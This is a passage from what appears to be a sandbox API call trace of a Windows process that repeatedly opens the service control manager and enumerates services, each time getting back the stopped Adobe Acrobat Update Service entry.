lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.554] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d690 [0136.554] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.555] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.555] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.558] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6b8 [0136.559] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.559] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.559] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.561] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d690 [0136.561] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.561] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.562] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.563] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d690 [0136.563] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.564] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.564] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.565] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d7f8 [0136.566] EnumServicesStatusW (in: hSCManager=0x321d7f8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.566] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.566] EnumServicesStatusW (in: hSCManager=0x321d7f8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.568] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d758 [0136.568] EnumServicesStatusW (in: hSCManager=0x321d758, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.568] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.568] EnumServicesStatusW (in: hSCManager=0x321d758, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.570] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d690 [0136.570] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.570] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.570] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.572] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d690 [0136.572] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.572] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.572] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.574] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6b8 [0136.574] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.574] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.574] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.576] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d4d8 [0136.576] EnumServicesStatusW (in: hSCManager=0x321d4d8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.576] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.576] EnumServicesStatusW (in: hSCManager=0x321d4d8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.578] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d690 [0136.578] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.627] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.627] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.629] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6b8 [0136.629] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.630] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.630] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.631] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6b8 [0136.631] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.632] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.632] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.633] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d690 [0136.634] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.634] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.634] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.637] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6b8 [0136.638] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.638] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.638] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.640] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d820 [0136.640] EnumServicesStatusW (in: hSCManager=0x321d820, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.640] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.640] EnumServicesStatusW (in: hSCManager=0x321d820, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.642] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d690 [0136.642] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.643] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.643] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.644] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6b8 [0136.645] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.645] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.645] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.646] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d4d8 [0136.647] EnumServicesStatusW (in: hSCManager=0x321d4d8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.647] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.647] EnumServicesStatusW (in: hSCManager=0x321d4d8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.648] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6b8 [0136.649] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.649] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.649] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.651] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d690 [0136.651] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.652] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.652] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, 